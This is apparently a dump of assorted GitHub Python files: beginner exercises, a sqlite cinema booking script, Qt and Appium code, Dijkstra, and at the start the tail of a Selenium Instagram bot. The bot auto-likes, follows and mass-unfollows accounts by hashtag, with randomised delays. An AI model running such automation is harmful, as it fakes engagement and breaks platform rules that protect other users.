'//*[@id=\"react-root\"]/section/main/div/article/div/div[1]/div/form/div[4]/button'\r\n\t\t\tbot.find_element_by_xpath(loginbuttonXpath).click()\r\n\t\t\tsleep(0.5)\r\n\t\t\ttry:\r\n\t\t\t\tbot.find_element_by_xpath('//*[@id=\"slfErrorAlert\"]')\r\n\t\t\texcept NoSuchElementException:\r\n\t\t\t\tif self.checkPopUp():\r\n\t\t\t\t\treturn True\r\n\t\t\telse:\r\n\t\t\t\tpass\r\n\t\telse:\r\n\t\t\tprint(\"No login mode selected\")\r\n\r\n\t\tbot.close()\r\n\t\treturn False\r\n\r\n\tdef run(self, mode):\r\n\r\n\t\twhile  Window.getIsRunning() == True:\r\n\t\t\tprint('Bot run: ' + str(Window.getIsRunning()))\r\n\r\n\t\t\tif self.bot:\r\n\t\t\t\tprint('Mode: \\'' + mode + '\\' selected')\r\n\t\t\t\tif mode =='f' or mode =='lf':\r\n\t\t\t\t\tself.getfollowingCount()\r\n\t\t\t\tsleep(1)\r\n\t\t\t\tbot = self.bot\r\n\t\t\t\thashtags = GUI.gethashtags(Window)\r\n\t\t\t\twhile Window.getIsRunning() == True:\r\n\r\n\t\t\t\t\thashtag = choice(hashtags)\r\n\t\t\t\t\tlinks = self.getMostRecentLinks(hashtag)\r\n\t\t\t\t\tfor link in links:\r\n\t\t\t\t\t\tif Window.getIsRunning() == True:\r\n\t\t\t\t\t\t\tbot.get(link)\r\n\t\t\t\t\t\t\tif mode == 'l':\r\n\t\t\t\t\t\t\t\tself.like()\r\n\t\t\t\t\t\t\telif mode == 'f':\r\n\t\t\t\t\t\t\t\tself.follow()\r\n\t\t\t\t\t\t\telif mode == 'lf':\r\n\t\t\t\t\t\t\t\tself.like()\r\n\t\t\t\t\t\t\t\tself.follow()\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tprint('No mode selected')\r\n\t\t\t\t\t\t\t\treturn\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tprint('Stopped actions')\r\n\t\t\t\t\t\t\treturn\r\n\t\t\t\t\t\r\n\t\t\telse:\r\n\t\t\t\tprint('There is no bot')\r\n\t\t\t\treturn\r\n\t\treturn\r\n\r\n\tdef getMostRecentLinks(self,hashtag):\r\n\t\tbot = self.bot\r\n\t\tbot.get('https://www.instagram.com/explore/tags/' + hashtag + '/')\r\n\t\tsleep(2)\r\n\t\taElems = bot.find_elements_by_tag_name('a')\r\n\t\tallLinks=[]\r\n\t\tfor aElem in aElems:\r\n\t\t\tallLink = aElem.get_attribute('href')\r\n\t\t\tif '/p/' in allLink:\r\n\t\t\t\tallLinks.append(allLink)\r\n\t\t#FILTER ONLY MOST RECENT\r\n\t\tmostRecentLinks=[]\r\n\t\tfor i in range(9,len(allLinks)):\r\n\t\t\tmostRecentLinks.append(allLinks[i])\r\n\r\n\t\treturn mostRecentLinks\r\n\r\n\tdef getfollowingCount(self):\r\n\t\tbot=self.bot\r\n\t\tif bot.current_url != 'www.instagram.com':\r\n\t\t\tbot.get('https://www.instagram.com')\r\n\t\tsleep(1)\r\n\t\tprofileXpath='//*[@id=\"react-root\"]/section/main/section/div[3]/div[1]/div/div[1]/a'\r\n\t\ttry:\r\n\t\t\tself.profileLink = bot.find_element_by_xpath(profileXpath).get_attribute('href')\r\n\t\texcept NoSuchElementException:\r\n\t\t\ttry:\r\n\t\t\t\tsleep(1)\r\n\t\t\t\tself.profileLink = bot.find_element_by_xpath(profileXpath).get_attribute('href')\r\n\t\t\texcept NoSuchElementException:\r\n\t\t\t\tprint('Could not get profile link')\r\n\t\t\t\treturn\r\n\t\t\r\n\t\tbot.get(self.profileLink)\r\n\t\tsleep(1)\r\n\t\tfollowingXpath = '//*[@id=\"react-root\"]/section/main/div/header/section/ul/li[3]/a'\r\n\t\ttry:\r\n\t\t\tfollowingCount = bot.find_element_by_xpath(followingXpath).get_attribute('textContent')\r\n\t\texcept NoSuchElementException:\r\n\t\t\ttry:\r\n\t\t\t\tsleep(1)\r\n\t\t\t\tfollowingCount = bot.find_element_by_xpath(followingXpath).get_attribute('textContent')\r\n\t\t\texcept NoSuchElementException:\r\n\t\t\t\tprint('Could not get following count')\r\n\t\t\t\treturn\r\n\t\t\t\t\r\n\t\tfollowingCount = int(followingCount[:-10])\r\n\t\tWindow.setFollowingAtStart(followingCount)\r\n\t\tprint('Number of followed accounts: '+ str(followingCount))\r\n\r\n\tdef like(self):\r\n\t\tbot = self.bot\r\n\t\tsleep(uniform(8,12))\r\n\t\ttry:\r\n\t\t\tlikeButtonXpath ='//*[@id=\"react-root\"]/section/main/div/div/article/div[2]/section[1]/span[1]/button'\r\n\t\t\tlike = bot.find_element_by_xpath(likeButtonXpath)\r\n\t\t\tlike.click()\r\n\t\texcept NoSuchElementException:\r\n\t\t\treturn\r\n\t\tWindow.addCount(1,0)\r\n\r\n\tdef follow(self):\r\n\t\tif Window.shouldFollow():\r\n\t\t\tbot = self.bot\r\n\t\t\tsleep(uniform(8,12))\r\n\t\t\ttry:\r\n\t\t\t\tfollowButtonXpath = '//*[@id=\"react-root\"]/section/main/div/div/article/header/div[2]/div[1]/div[2]/button'\r\n\t\t\t\tfollow = bot.find_element_by_xpath(followButtonXpath)\r\n\t\t\t\tfollow.click()\r\n\t\t\texcept NoSuchElementException:\r\n\t\t\t\treturn\t\r\n\t\t\tWindow.addCount(0,1)\r\n\r\n\tdef checkPopUp(self):\r\n\t\tsleep(1)\r\n\t\tbot=self.bot\r\n\t\ttry:\r\n\t\t\tpopup='/html/body/div[3]/div/div/div[3]/button[2]'\r\n\t\t\tbot.find_element_by_xpath(popup).click()\r\n\t\texcept NoSuchElementException:\r\n\t\t\tsleep(3)\r\n\t\t\ttry:\r\n\t\t\t\tbot.find_element_by_xpath(popup).click()\r\n\t\t\texcept NoSuchElementException:\r\n\t\t\t\tprint('Connection too slow or something is wrong')\r\n\t\t\t\treturn False\r\n\t\treturn True\r\n\r\n\tdef unfollow(self):\r\n\t\tbot=self.bot\r\n\t\tsleep(1)\r\n\t\tprofileXpath='//*[@id=\"react-root\"]/section/main/section/div[3]/div[1]/div/div[1]/a'\r\n\t\ttry:\r\n\t\t\tprofileLink = bot.find_element_by_xpath(profileXpath).get_attribute('href')\r\n\t\texcept NoSuchElementException:\r\n\t\t\tsleep(1)\r\n\t\t\tprofileLink= bot.find_element_by_xpath(profileXpath).get_attribute('href')\r\n\t\t\r\n\t\twhile True:\r\n\t\t\tbot.get(profileLink)\r\n\t\t\tsleep(1)\r\n\t\t\tflollowingbutton ='//*[@id=\"react-root\"]/section/main/div/header/section/ul/li[3]/a'\r\n\t\t\tbot.find_element_by_xpath(flollowingbutton).click()\r\n\t\t\tsleep(0.5)\r\n\t\t\tfollowingButtons=[]\r\n\t\t\tbuttons=bot.find_elements_by_tag_name('button')\r\n\t\t\tprint(len(buttons))\r\n\t\t\tif len(buttons)==0:\r\n\t\t\t\treturn\r\n\t\t\tfor button in buttons:\r\n\t\t\t\tif (button.get_attribute('textContent')=='Following'):\r\n\t\t\t\t\tfollowingButtons.append(button)\r\n\t\t\tfor followingButton in followingButtons:\r\n\t\t\t\ttry:\r\n\t\t\t\t\t\r\n\t\t\t\t\tfollowingButton.click()\r\n\t\t\t\t\tsleep(1)\r\n\t\t\t\t\tunfollow=bot.find_element_by_xpath('/html/body/div[4]/div/div/div[3]/button[1]').click()\r\n\t\t\t\t\tsleep(1)\r\n\t\t\t\texcept Exception:\r\n\t\t\t\t\tbreak\r\n\t\t\t\tself.unfollowCount+=1\t\r\n\t\t\t\tprint(self.unfollowCount)\r\n\t\t\tsleep(2)\r\n\t\tprint('finished')\r\n\t\treturn\r\n\tdef close(self):\r\n\t\tself.bot.close()\r\n\r\ndef on_closing():\r\n\t\timmaHooman.close()\r\n\t\tWindow.root.destroy()\r\n\r\n\r\nimmaHooman = InstaBot()\r\nWindow = GUI()\r\nWindow.root.protocol(\"WM_DELETE_WINDOW\", on_closing)\r\nWindow.root.mainloop()\r\n#---------TO DO----------#\r\n# -wait time to like/follow and between functions\r\n# -remove from followed after hiting target\r\n# -basing on measured connection time set wait time\r\n# -hide program to system tray\r\n# -set follow limit\r\n# -add comment\r\n# -checkboxes instead of radio\r\n\r\n\r\n","repo_name":"Raff-dev/InstagramBot","sub_path":"instagramBot.py","file_name":"instagramBot.py","file_ext":"py","file_size_in_byte":13794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37407853671","text":"#----------------------------------------------------------------------------------\n# This is the code for the Len's Slice project on the Analyze data with Python\n# pathway on Codeacademy\n#\n# Date: 30/06/22\n#----------------------------------------------------------------------------------\n\n#Create the toppings and price list\nfrom numpy import append\n\n#----------------------------------------------------------------------------------\n# Global Variables\n#----------------------------------------------------------------------------------\n\ntoppings = [\"pepperoni\", \"pineapple\", \"cheese\", \"sausage\", \"olives\", \"anchovies\", \"mushrooms\"]\nprices = [2, 6, 1, 3, 2, 7, 2]\n# Create a 2D list from our lists\npizza_and_prices=[]\n\n#Count the number of occurences of 2 in the price list\nnum_two_dollar_slices = prices.count(2)\nprint(num_two_dollar_slices)\n\n# Find how many toppings are in the toppings list and print how many pizzas we sell\nnum_pizzas = len(toppings)\nprint(\"We sell\", num_pizzas, \"different kinds of pizzas\")\n\n# Create a 2D list from our lists\npizza_and_prices=[]\n\n# It said to create this manually but I thought I'd give it a go in a loop as this will be a common thing to do\nfor i in range(len(toppings)):\n    pizza_and_prices.append([prices[i],toppings[i]])\n\n\nprint(pizza_and_prices)\n\n# Put the new list in price order, note\npizza_and_prices.sort()\nprint(pizza_and_prices)\n\n#Cheapest pizza is\ncheapest_pizza = pizza_and_prices[0]\n\n# Priciest pizza is\npriciest_pizza = pizza_and_prices[-1]\n\n# That was the last slice of that pizza so remove from the list\npizza_and_prices.pop()\n\n# Add pepper pizza to the list in the right place - Price = 2.5\npizza_and_prices.insert(4,[2.5, \"peppers\"])\nprint(pizza_and_prices)\n\n#List the three cheapest pizzas\nthree_cheapest = pizza_and_prices[:3]\nprint(three_cheapest)","repo_name":"leewalkergb/100days","sub_path":"Day5/lens_slice.py","file_name":"lens_slice.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17333545745","text":"#Exercise 14 - List Remove Duplicates\r\n#Use set to covert list into a set\r\n#A set does not have duplicates\r\n\r\ndef listReg():\r\n    element = str(input(\"What would you like to add into the list? \"))\r\n    return element\r\n\r\nmainList = [\"Scott\", \"April\", \"Bryan\", \"Grace\", \"Scott\"]\r\nprint(\"The current list is\", mainList)\r\n\r\nmainList = set(mainList)\r\nprint(\"Now, the list is\", mainList)\r\n","repo_name":"ScottNg49/Practice_Python_Complete","sub_path":"Practice 14 - List Remove Duplicates.py","file_name":"Practice 14 - List Remove Duplicates.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8428526871","text":"\"\"\"\n・自力で行けた。09分\ninput\n3\nOutput\n3\n\"\"\"\n\nm = int(input())\ndp = [-1 for _ in range(10**7)]\n\ndef func(n):\n    if n == 0 or n==1:\n        return 1\n    \n    if dp[n]!=-1:\n        return dp[n]\n    else:\n        dp[n]=func(n-1)+func(n-2)\n        return dp[n]\n\nprint(func(m))\n    ","repo_name":"tharashi10/algorithm","sub_path":"atcoder/Bootcamp/34_Fibonacci.py","file_name":"34_Fibonacci.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"32708141376","text":"import sqlite3\n\n\ndef db_init():\n    db = sqlite3.connect(\"cinemadb\")\n    cursor = db.cursor()\n    cursor.execute(\n        '''CREATE TABLE IF NOT EXISTS movies(id INTEGER PRIMARY KEY,\n                 name TEXT, rating REAL)''')\n    cursor.execute('''CREATE TABLE IF NOT EXISTS\n                    projections(id INTEGER PRIMARY KEY,\n                    movie_id INTEGER REFERENCES  movies(id),\n                    type TEXT, date TEXT, time TEXT)''')\n    cursor.execute('''CREATE TABLE IF NOT EXISTS\n                    reservations(id INTEGER PRIMARY KEY,\n                    username TEXT, projection_id INTEGER\n                    REFERENCES projections(id),\n                    row INTEGER, col INTEGER)''')\n    db.commit()\n\n\ndef add_movie():\n    db = sqlite3.connect(\"cinemadb\")\n    cursor = db.cursor()\n    name = input(\"Name of movie: \")\n    rating = float(input(\"Rating: \"))\n    cursor.execute(\n        \"INSERT INTO movies(name,rating) VALUES(?,?)\", (name, rating))\n    db.commit()\n\n\ndef add_projection():\n    db = sqlite3.connect(\"cinemadb\")\n    cursor = db.cursor()\n    movie_id = int(input(\"Enter movie id: \"))\n    type_movie = input(\"Enter type: \")\n    date = input(\"Enter date in format yyyy-mm-dd: \")\n    time = input(\"Enter time in format hh:mm: \")\n    cursor.execute('''INSERT INTO projections(movie_id, type, date, time)\n                    VALUES(?,?,?,?)''', (movie_id, type_movie, date, time))\n    db.commit()\n\n\ndef add_reservation():\n    db = sqlite3.connect(\"cinemadb\")\n    cursor = db.cursor()\n    name = input(\"Enter name of reservator: \")\n    projection_id = int(input(\"Enter the projection ID: \"))\n    availability = cursor.execute(\n        \"SELECT id FROM projections WHERE id = (?)\", (projection_id,))\n    # print(availability.fetchone())\n    while (availability.fetchone() is None):\n        projection_id = int(input(\"Enter a valid projection ID: \"))\n        availability = cursor.execute(\n            \"SELECT id FROM projections WHERE id = (?)\", (projection_id,))\n    row_col = input(\"Enter seat in the following format 'row,col': \")\n    row_col = row_col_checker(row_col)\n    cursor.execute('''INSERT INTO reservations(username, projection_id, row, col)\n                    VALUES (?,?,?,?)''', (name, projection_id, row_col[0], row_col[1]))\n    db.commit()\n\n\n# def if_available(row_col, projection_id):\n#     db = sqlite3.connect(\"cinemadb\")\n#     cursor = db.currosor()\n#     while check_position(row_col) is False:\n#         row_col = input(\"Enter any number row and col from 1 to 10: \")\n#         row_col = row_col.split(',')\n#     availability = cursor.execute(\n#         \"SELECT projection_id, row, col FROM reservations\")\n#     for seat in availability:\n#         if row_col == (seat[1], seat[2]) and projection_id == seat[0]:\n#             print(\"This seat is already taken.\")\n#             row_col = input(\"Enter seat in the following format row,col: \")\n#             row_col.split(',')\n#             if_available(row_col, projection_id)\ndef row_col_checker(row_col):\n    db = sqlite3.connect(\"cinemadb\")\n    cursor = db.cursor()\n    row_col = row_col.split(',')\n    while check_position(row_col) is not True:\n        row_col = input(\"Enter any number row and col from 1 to 10: \")\n        row_col = row_col.split(',')\n    is_available_seat = cursor.execute(\"SELECT row, col FROM reservations\")\n    for seat in is_available_seat:\n        if int(row_col[0]) == seat[0] and int(row_col[1]) == seat[1]:\n            row_col = input(\"The seat is already taken! Enter different one: \")\n            row_col_checker(row_col)\n    return row_col\n\n\ndef check_position(row_col):\n    if 0 < int(row_col[0]) < 11 and 0 < int(row_col[1]) < 11:\n        return True\n    return False\n\n\n# def check_projection(projection_id):\n#     db = sqlite3.connect(\"cinemadb\")\n#     cursor = db.cursor()\n#     all_projections = cursor.execute(\"SELECT projection_id FROM projections\")\n#     for projection in all_projections:\n#         if projection_id == projection:\n#             return True\n#     return False\n\n\n# def main():\n#     # add_movie()\n#     # add_movie()\n#     # add_projection()\n#     # add_projection()\n#     # add_projection()\n#     # add_projection()\n#     add_reservation()\n\n\n# if __name__ == '__main__':\n#     main()\n","repo_name":"DimitarRDimitrov/Programming101","sub_path":"Week5/cinema_reservation/cinema_reservation.py","file_name":"cinema_reservation.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24752520015","text":"\"\"\"\nDescription: This is an algorithm for comparison with the EA algorithm\n\nProgrammer: E Ching Kho\nDisclaimer: This is for Queen's University CISC 455 Team Project\n            Team member: E Ching Kho, Somoina Tian, Wenqi Tang\n            Python Version 3.11.2 when developing\n\"\"\"\n# Import Files and Libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef random_algo(total_tu=130, trend_mean=100, trend_sd=10, fluctuate_mean=0, fluctuate_sd=20):\n    \"\"\"\n    Input: Integer - total_tu, Integer - trend_mean, Integer - trend_sd, Integer - fluctuate_mean, Integer - fluctuate_sd\n    Ouput: [Float]\n    Return a np.array of float values that represent the simulated stock price\n    \"\"\"\n    return np.random.normal(trend_mean, trend_sd, total_tu) + np.random.normal(fluctuate_mean, fluctuate_sd, total_tu)\n\n\n### Test random_algo ###\nalgo = random_algo()\nprint(algo.shape)\nstock = algo[30:]\n\nplt.plot(np.arange(100), stock)\nplt.title(\"Random Algorithm Stock\")\nplt.xlabel(\"Generation\")\nplt.ylabel(\"Price Data\")\nplt.savefig(\"random_algo.png\")","repo_name":"Somiona/CISC455W23Proj","sub_path":"backend/random_algo.py","file_name":"random_algo.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"23793123511","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\r\n# Licensed under the MIT License.\r\n\r\nfrom botbuilder.core import MessageFactory, TurnContext, ActivityHandler\r\n\r\n\r\nclass ActivitiyUpdateAndDeleteBot(ActivityHandler):\r\n    def __init__(self, activity_ids):\r\n        self.activity_ids = activity_ids\r\n\r\n    async def on_message_activity(self, turn_context: TurnContext):\r\n        TurnContext.remove_recipient_mention(turn_context.activity)\r\n        if turn_context.activity.text == \"delete\":\r\n            for activity in self.activity_ids:\r\n                await turn_context.delete_activity(activity)\r\n\r\n            self.activity_ids = []\r\n        else:\r\n            await self._send_message_and_log_activity_id(\r\n                turn_context, turn_context.activity.text\r\n            )\r\n\r\n            for activity_id in self.activity_ids:\r\n                new_activity = MessageFactory.text(turn_context.activity.text)\r\n                new_activity.id = activity_id\r\n                await turn_context.update_activity(new_activity)\r\n\r\n    async def _send_message_and_log_activity_id(\r\n        self, turn_context: TurnContext, text: str\r\n    ):\r\n        reply_activity = MessageFactory.text(text)\r\n        resource_response = await turn_context.send_activity(reply_activity)\r\n        self.activity_ids.append(resource_response.id)\r\n","repo_name":"migothere/botbuilder-python","sub_path":"tests/teams/scenarios/activity-update-and-delete/bots/activity_update_and_delete_bot.py","file_name":"activity_update_and_delete_bot.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20454607645","text":"# this is inspired by youtube channel kylie ying.\n\nadj = input(\"Adjective: \")\nverb1 = input(\"Verb: \")\nverb2 = input(\"Verb: \")\nfamous_person = input(\"Famous person: \")\n\nmadLib = (f\"Computer programming is so {adj}! \\nIt makes me so excited all the time  because i love to {verb1}.\\n\"\n          f\"Stay hydrated and {verb2} like you are {famous_person} \")\n\n\nmadLib2 = \"Monday makes me feel so {adj}\".format(adj=adj)\n\nprint(madLib)\nprint(madLib2)\n","repo_name":"RhinoRi/Fun-Fhrases","sub_path":"logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14268366073","text":"# importing my modules\nfrom turtle import Turtle\n\n# declaring our class\nclass Score(Turtle):\n\n    # initialising\n    def __init__(self):\n        super().__init__()\n        self.color(\"white\")\n        self.hideturtle()\n        self.penup()\n        self.left_score = 0\n        self.right_score = 0\n        self.write_score()\n    # writing on the board\n    def write_score(self):\n        self.goto(-100, y=200)\n        self.write(self.left_score, align=\"center\",font=(\"Courie\", 50, \"normal\"))\n        self.goto(100, y=200)\n        self.write(self.right_score, align=\"center\", font=(\"Courie\", 50, \"normal\"))\n\n    # incrementing scores left\n    def increment_score_left(self):\n        self.clear()\n        self.left_score += 1\n        self.write_score()\n\n    # incrementing scores right\n    def increment_score_right(self):\n        self.clear()\n        self.right_score += 1\n        self.write_score()","repo_name":"Mohamad-Hachem/Python_projects","sub_path":"Pong_game/score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71559922349","text":"import random\nimport numpy as np\n\nfrom PySide2.QtWidgets import (\n        QGraphicsItem,\n        QStyleOptionGraphicsItem,\n        QWidget,\n        QGraphicsItem,\n        )\nfrom PySide2.QtGui import QPainter, QPen, QPainterPath, QTransform, QColor\nfrom PySide2.QtCore import QPointF, QRectF, QLineF, Qt\n\nfrom components.tablet.gui.TabletObject import TabletObject, TabletGraphicsObject\nfrom components.tablet.gui.GridObject import GridObject\n\n\n\nclass LogGridObject(GridObject):\n\n    def __init__(self, parent):\n        GridObject.__init__(self, parent)\n\n        self._head = LogGridGraphicsObjectHead(parent.headGraphicsObject(), self)\n        self._body = LogGridGraphicsObjectBody(parent.bodyGraphicsObject(), self)\n\n        # self._setPosition()\n\n        self.getRoot().setPosition()\n\n    def setPosition(self):\n\n        GridObject.setPosition(self)\n\n        self._head.setPos(0, 0)\n        self._body.setPos(0, 0)\n\n        w = 0\n        for it in self.parent().childObjects()[:self.indexByParent()]:\n            w += it.boundingRect().width()\n\n        self._head.setPos(w, 0)\n        self._body.setPos(w, 0)\n\n\n    def headGraphicsObject(self):\n        return self._head\n\n    def bodyGraphicsObject(self):\n        return self._body\n\n    def width(self):\n        return 0.05 # 5 cm\n\n    def curvesLog10Min(self):\n\n        left = float(\"inf\")\n\n        for c in self.childObjects():\n            left = min(left, c.arrayRect().left())\n\n        return left\n\n\n\nclass LogGridGraphicsObjectBody(TabletGraphicsObject):\n\n    def __init__(self, parent, grid):\n        TabletGraphicsObject.__init__(self, parent)\n\n        self._grid = grid\n\n        # self.setCacheMode(QGraphicsItem.DeviceCoordinateCache)\n        self.setFlag(QGraphicsItem.ItemUsesExtendedStyleOption)\n\n\n    def boundingRect(self) -> QRectF:\n        return self._grid.boundingRect()\n\n\n    def paint(self,\n              painter : QPainter,\n              option : QStyleOptionGraphicsItem,\n              widget : QWidget):\n\n        \"\"\"\n        exposedRect is depth_range (meters) x columnt_print_width (meters)\n        \"\"\"\n\n        self.drawVerticalLines(painter, option.exposedRect)\n        self.drawHorizontalLines(painter, option.exposedRect)\n\n\n    def adjustExposedRectForVerticalLines(self, exposedRect):\n        depthRange = self._grid.parent().depthRange()\n        br = QRectF(QPointF(0.0, depthRange[0]),\n                    QPointF(self._grid.width(), depthRange[1]))\n\n        exposedTop = max(br.top(), exposedRect.top())\n        exposedBottom = min(br.bottom(), exposedRect.bottom())\n\n        exposedLeft = max(br.left(), exposedRect.left())\n        exposedRight = min(br.right(), exposedRect.right())\n\n        return QRectF(QPointF(exposedLeft, exposedTop),\n                      QPointF(exposedRight, exposedBottom))\n\n    def verticalLoop(self, painter, exposedRect, step):\n        curveToGrid = self._grid.childObjects()[0]._arrayTransform\n        (gridToCurve, _) = curveToGrid.inverted()\n\n        # curveMin = self._grid.curvesLog10Min()\n\n        exposedRectCurve = gridToCurve.mapRect(exposedRect)\n\n        curveMinLog = np.floor(exposedRectCurve.left())\n        offset = 10.0 + (np.floor(exposedRectCurve.left() * 10.0))\n\n        if offset < step:\n            offset = 1.0\n            curveMinLog += 1.0\n\n        # print(\"Curve min log\", curveMinLog)\n        # print(\"offset\", offset)\n\n        toGrid = lambda x : x * curveToGrid.m11() + curveToGrid.m31()\n\n        x = toGrid(curveMinLog)\n\n        # grid left to curve left\n        while x < exposedRect.right():\n\n            x = toGrid(curveMinLog + np.log10(offset))\n\n            l = QLineF(x, exposedRect.top(),\n                       x, exposedRect.bottom())\n\n            painter.drawLine(l)\n\n            offset += step\n\n            if offset >= 10.0:\n                offset = 1.0\n                curveMinLog += 1.0\n\n\n    def drawVerticalLines(self, painter : QPainter, exposedRect):\n\n        dpm = self.dotsPerMeter()\n        (inv_t, _) = self.view().transform().inverted()\n\n        exposedRect = self.adjustExposedRectForVerticalLines(exposedRect)\n\n        p = QPen(Qt.lightGray)\n        p.setStyle(Qt.DashLine)\n        p.setCosmetic(True)\n        p.setWidthF(0.5)\n        painter.setPen(p)\n\n        self.verticalLoop(painter, exposedRect, 1.0)\n\n        ###\n\n        exposedRect = self.adjustExposedRectForVerticalLines(exposedRect)\n\n        p = QPen(Qt.lightGray)\n        p.setCosmetic(True)\n        p.setWidthF(1.0)\n        painter.setPen(p)\n\n        self.verticalLoop(painter, exposedRect, 10.0)\n\n\n\n    def adjustExposedRectForHorizontalLines(self, exposedRect, step):\n        depthRange = self._grid.parent().depthRange()\n        br = QRectF(QPointF(0.0, depthRange[0]),\n                    QPointF(self._grid.width(), depthRange[1]))\n\n        exposedTop = max(br.top(), exposedRect.top())\n        exposedTop = (exposedTop // step.y() + 1) * step.y()\n        exposedBottom = min(br.bottom(), exposedRect.bottom())\n        exposedBottom = (exposedBottom // step.y() + 1) * step.y()\n\n        exposedLeft = max(br.left(), exposedRect.left())\n        exposedRight = min(br.right(), exposedRect.right())\n\n        return QRectF(QPointF(exposedLeft, exposedTop),\n                      QPointF(exposedRight, exposedBottom))\n\n\n    def horizontalLoop(self, painter, exposedRect, step):\n        y = exposedRect.top()\n        while y < exposedRect.bottom():\n            l = QLineF(exposedRect.left(), y,\n                       exposedRect.right(), y)\n\n            painter.drawLine(l)\n\n            y += step.y()\n\n\n    def drawHorizontalLines(self, painter : QPainter, exposedRect):\n\n        dpm = self.dotsPerMeter()\n        (inv_t, _) = self.view().transform().inverted()\n\n        step = QPointF(0.005 * dpm, 0.005 * dpm)\n        step = inv_t.map(step)\n\n        exposedRect = self.adjustExposedRectForHorizontalLines(exposedRect, step)\n\n        # print(\"H\", exposedRect)\n\n        p = QPen(Qt.lightGray)\n        p.setStyle(Qt.DashLine)\n        p.setCosmetic(True)\n        p.setWidthF(0.5)\n        painter.setPen(p)\n\n        self.horizontalLoop(painter, exposedRect, step)\n\n        ###\n\n        step = QPointF(0.02 * dpm, 0.02 * dpm)\n        step = inv_t.map(step)\n\n        exposedRect = self.adjustExposedRectForHorizontalLines(exposedRect, step)\n\n        p = QPen(Qt.lightGray)\n        p.setCosmetic(True)\n        p.setWidthF(1.0)\n        painter.setPen(p)\n\n        self.horizontalLoop(painter, exposedRect, step)\n\n\nclass LogGridGraphicsObjectHead(TabletGraphicsObject):\n\n    def __init__(self, parent, grid):\n        TabletGraphicsObject.__init__(self, parent)\n\n        self._grid = grid\n\n        # self.setCacheMode(QGraphicsItem.DeviceCoordinateCache)\n        self.setFlag(QGraphicsItem.ItemUsesExtendedStyleOption)\n\n\n    def boundingRect(self) -> QRectF:\n        br = self._grid.boundingRect()\n\n        br.setTop(0.0)\n        br.setLeft(0.0)\n\n        height_per_curve = 0.01 # 1 cm\n        h = height_per_curve * len(self._grid.childObjects())\n\n        br.setHeight(h)\n\n        return br\n\n\n    def paint(self,\n              painter : QPainter,\n              option : QStyleOptionGraphicsItem,\n              widget : QWidget):\n\n        p = QPen(Qt.black)\n        p.setCosmetic(True)\n        p.setWidthF(1.0)\n        painter.setPen(p)\n        painter.setBrush(Qt.white)\n\n        painter.drawRect(self.boundingRect())\n","repo_name":"iGeophysix/gamma","sub_path":"components/tablet/gui/LogGridObject.py","file_name":"LogGridObject.py","file_ext":"py","file_size_in_byte":7342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72226960108","text":"import pytest\nfrom app_APPium_test.src.Mian import Main\n\n\nclass Test_ADDMenber:\n    main = Main()\n\n    def test_addmember(self):\n        result = self.main.go_to_Address_book().go_to_add_member().go_to_Manual_add().add_name(\"张三\").add_another_name(\n            \"not\") \\\n            .add_iphone_num(\"13609394617\").complete()\n        res = result.get_add_Toast()\n        assert res == \"添加成功\"\n\n    if __name__ == '__main__':\n        pytest.main(test_addmember())\n","repo_name":"XuXuClassMate/My_Test_PyProject","sub_path":"app_APPium_test/test_case/test_addmember.py","file_name":"test_addmember.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25757692387","text":"import sys\nimport heapq\ninput = sys.stdin.readline\n\nN = int(input())\nM = int(input())\nMAX_COST = 200000000\n\ngraph = [{} for _ in range(N+1)]\ncosts = [MAX_COST] * (N+1)\nvisited = [False] * (N+1)\n\nfor _ in range(M):\n    start, dest, cost = map(int, input().split())\n    if dest in graph[start]:\n        graph[start][dest] = min(cost, graph[start][dest])\n    else:\n        graph[start][dest] = cost\n\nstart, dest = map(int, input().split())\n\ndef Dijk(cur):\n    path = {i:cur for i in range(1,N+1)}\n    heap = [(0, start)]\n    costs[start] = 0\n    heapq.heapify(heap)\n    \n    while len(heap):\n        cost, cur = heapq.heappop(heap)\n        if visited[cur]: \n            continue\n        visited[cur] = True\n        \n        if cur == dest:\n            print(costs[dest])\n            count = 0\n            temp = []\n            while cur != start:\n                count += 1\n                temp.append(cur)\n                cur = path[cur]\n            temp.append(start)\n            print(count + 1)\n            print(\" \".join(list(map(str, list(reversed(temp))))))\n            break\n        \n        for nx, nx_cost in graph[cur].items():\n            if not visited[nx] and costs[nx] > nx_cost + cost:\n                path[nx] = cur\n                costs[nx] = nx_cost + cost\n                heapq.heappush(heap, (costs[nx], nx))\n\n\nDijk(start)","repo_name":"dlatjdqo34/Baekjoon-git","sub_path":"Class4/11779.py","file_name":"11779.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
